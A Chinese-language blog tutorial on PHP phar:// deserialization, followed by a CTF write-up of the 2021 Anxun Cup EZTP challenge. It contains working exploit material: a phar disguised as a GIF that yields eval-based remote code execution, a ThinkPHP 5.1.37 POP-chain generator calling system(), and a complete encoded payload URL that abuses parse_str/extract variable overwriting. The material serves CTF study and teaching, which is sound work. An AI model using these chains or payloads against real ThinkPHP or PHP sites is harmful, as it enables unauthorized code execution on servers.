PHP反序列化:phar伪协议(兼2021安洵杯 EZTP复现)

一、phar介绍
简单来说phar就是php压缩文档。它可以把多个文件归档到同一个文件中,而且不经过解压就能被 php 访问并执行,与file:// php://等类似,也是一种流包装器。

phar结构由 4 部分组成

  1. stub phar 文件标识,格式为 xxx<?php xxx; __HALT_COMPILER();?>;
  2. manifest 压缩文件的属性等信息,以序列化存储;
  3. contents 压缩文件的内容;
  4. signature 签名,放在文件末尾;

这里有两个关键点,一是文件标识,必须以__HALT_COMPILER();?>结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者pdf文件来绕过一些上传限制;二是反序列化,phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化,而这样的文件操作函数有很多。

二、例题

1.

假定一个php页面

<?php
if(isset($_GET['filename'])){
    $filename=$_GET['filename'];
    class MyClass{
        var $output='echo "hello world!";';
        function __destruct(){
            eval($this->output);
        }
    }
    file_exists($filename);
}
else{
    highlight_file(__FILE__);
}
?>

上网冲浪可知phar反序列化会影响下列函数

 

这里file_exists()函数会将参数反序列化。可以先在目录制作一个phar文件,里面manifest填一个序列化的MyClass,其中$output用其他代码覆盖。然后让filename用phar伪协议指向这个文件。

exp:

<?php
// phar.readonly无法通过该语句进行设置: init_set("phar.readonly",0);
class MyClass{
    var $output = '@eval($_GET[_]);';
}

$o = new MyClass();
$filename = 'poc.phar';// 后缀必须为phar,否则程序无法运行
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
?>

然后可以把poc.phar文件名改成任意名字(如这里改成poc.gif伪装图片文件)放到网站的路径下。然后get

?filename=phar://poc.gif&_=[any code];

造成RCE.

 

 

2.

[2021安洵杯 EZTP]

首先www.zip得到源码(这里复现也是用的这个文件)。发现这是个thinkphp框架。网页上随便乱输一个不存在的页面得到其版本。

 

 

网上搜直接搜thinkphp v5.1.37,会发现只能搜到它的反序列化漏洞哈哈哈哈哈哈哈哈哈。可以直接抄一个链子,然后想办法触发它。

在源码文件WWW\127.0.0.17\application\index\controller下找到index页面源码

<?php
namespace app\index\controller;
use think\Controller;

class Index extends controller
{
    public function index()
    {
        return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V5.1<br/><span style="font-size:30px">12载初心不改(2006-2018) - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
    }

    public function hello()
    {
        highlight_file(__FILE__);
        $hello = base64_encode('Welcome to D0g3');
        if (isset($_GET['hello'])||isset($_POST['hello'])) exit;
        if(isset($_REQUEST['world']))
        {
            parse_str($_REQUEST['world'],$haha);
            extract($haha);
        }
        if (!isset($a)) {
            $a = 'hello.txt';
        }
        $s = base64_decode($hello);
        file_put_contents('hello.txt', $s);
        if(isset($a))
        {
            echo (file_get_contents($a));
        }
    }
}

进hello函数只需访问(至于为什么和路由有关,这个以后填坑)

http://127.0.0.17/public/index.php/index/Index/hello

代码审计。从file_get_contents()往上逆推思路:

1.要覆盖变量$a为phar://hello.txt,从而通过file_get_contents()触发反序列化

2.要令$s为phar文件内容,里面写好网上抄来的pop链对象

3.$s=$hello,但是hello在url解析时不能被识别出来。观察parse_str()和extract(),可以get:?world=hello=xxx%26a=phar://hello.txt(%26是&)这样,这两个函数就会把$hello和$a抠出来,一举两得。

现在只需要弄出phar文件,把它赋予hello就行了。

在网上找一个链子,修改一下:

<?php
namespace think {
    class Request
    {
        protected $hook = [];
        protected $config = [];
        protected $filter;
        protected $param = [];
        public function __construct()
        {
            $this->filter = 'system';
            $this->param = ['calc'];//因为复现用的是windows靶机,就启动计算器测试一下。做题时换成$this->param = ['cat /*'];
            $this->hook = ['visible' => [$this, 'isAjax']];
            $this->config = ['var_ajax' => ''];
        }
    }
    abstract class Model
    {
        protected $append = [];
        private $data = [];
        function __construct()
        {
            $this->append = ['Th0r' => ['a']];
            $this->data = ['Th0r' => new Request()];
        }
    }
}
namespace think\model {
    use think\Model;
    use think\Request;
    class Pivot extends Model
    {
    }
}
namespace think\process\pipes {
    use think\model\Pivot;
    class Pipes
    {
    }
    class Windows extends Pipes
    {
        private $files = [];
    function __construct()
    {
        $this->files = [new Pivot()];
    }
    }
}
namespace {
    /*写phar*/
    use think\process\pipes\Windows;
    $phar = new Phar("phar1.phar"); //后缀名必须为phar,压缩后的文件名
    $phar->startBuffering();
    $phar->setStub(" __HALT_COMPILER(); ?>"); //设置stub
    $o = new Windows();
    // $o->data = 'hu3sky';
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("foo.txt", "bar"); //test为内容test.txt为要压缩的文件(可以不存在)
    //签名自动计算
    $phar->stopBuffering();
    // echo base64_encode(serialize(new Windows));
    
    /*读phar并 1.base64encode 2.urlencode*/
    echo urlencode(base64_encode(file_get_contents('./phar1.phar')));
    //IF9fSEFMVF9DT01QSUxFUigpOyA%2FPg0K0QEAAAEAAAARAAAAAQAAAAAAnAEAAE86Mjc6InRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cyI6MTp7czozNDoiAHRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cwBmaWxlcyI7YToxOntpOjA7TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjI6e3M6OToiACoAYXBwZW5kIjthOjE6e3M6NDoiVGgwciI7YToxOntpOjA7czoxOiJhIjt9fXM6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6NDoiVGgwciI7TzoxMzoidGhpbmtcUmVxdWVzdCI6NDp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo4O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjA6IiI7fXM6OToiACoAZmlsdGVyIjtzOjY6InN5c3RlbSI7czo4OiIAKgBwYXJhbSI7YToxOntpOjA7czo0OiJjYWxjIjt9fX19fX0HAAAAZm9vLnR4dAMAAADN0KhhAwAAAKqM%2F3a2AQAAAAAAAGJhcj2Y8W%2FiBnOmVms8oXJRj5sNJYHVAgAAAEdCTUI%3D
}

最终payload:

http://127.0.0.17/public/index.php/index/Index/hello?world=hello=IF9fSEFMVF9DT01QSUxFUigpOyA%2FPg0K0QEAAAEAAAARAAAAAQAAAAAAnAEAAE86Mjc6InRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cyI6MTp7czozNDoiAHRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cwBmaWxlcyI7YToxOntpOjA7TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjI6e3M6OToiACoAYXBwZW5kIjthOjE6e3M6NDoiVGgwciI7YToxOntpOjA7czoxOiJhIjt9fXM6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6NDoiVGgwciI7TzoxMzoidGhpbmtcUmVxdWVzdCI6NDp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo4O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjA6IiI7fXM6OToiACoAZmlsdGVyIjtzOjY6InN5c3RlbSI7czo4OiIAKgBwYXJhbSI7YToxOntpOjA7czo0OiJjYWxjIjt9fX19fX0HAAAAZm9vLnR4dAMAAABStahhAwAAAKqM%2F3a2AQAAAAAAAGJhcui1dgJQNuTaCXKRUQLsVJql7DWEAgAAAEdCTUI=%26a=phar://hello.txt

 

 

 具体比赛时:

不会真有CTFER有女朋友吧

参考链接:PHP反序列化入门之phar

 

posted @ 2021-12-02 20:56  KingBridge  阅读(1065)  评论(0编辑  收藏  举报